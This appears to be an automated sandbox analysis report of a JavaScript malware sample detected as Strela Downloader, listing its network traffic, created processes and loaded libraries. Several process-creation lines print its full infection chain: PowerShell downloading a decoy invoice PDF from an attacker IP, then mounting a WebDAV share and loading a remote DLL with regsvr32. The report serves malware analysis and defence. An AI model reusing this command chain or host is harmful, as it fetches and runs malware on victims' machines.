Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49717

Source: global traffic

TCP traffic: 192.168.2.6:49717 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2147768897.0000027B18C1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2228248678.0000021F1E4B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2210413435.0000021F1E50F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228330356.0000021F1E4F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2215508187.0000021F1E4F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2228330356.0000021F1E4F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2215508187.0000021F1E4F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/S
Source: net.exe, 00000007.00000002.2228330356.0000021F1E4F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2215508187.0000021F1E4F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/o
Source: net.exe, 00000007.00000002.2228248678.0000021F1E4B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.3439672391.000001EFF3000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2219642549.000001EFF2E80000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5936, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 4892182381391430128.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2324

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3984:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pojmcbiw.zuq.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4892182381391430128.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1540,i,6163206901540679361,2313398844178024841,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1540,i,6163206901540679361,2313398844178024841,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
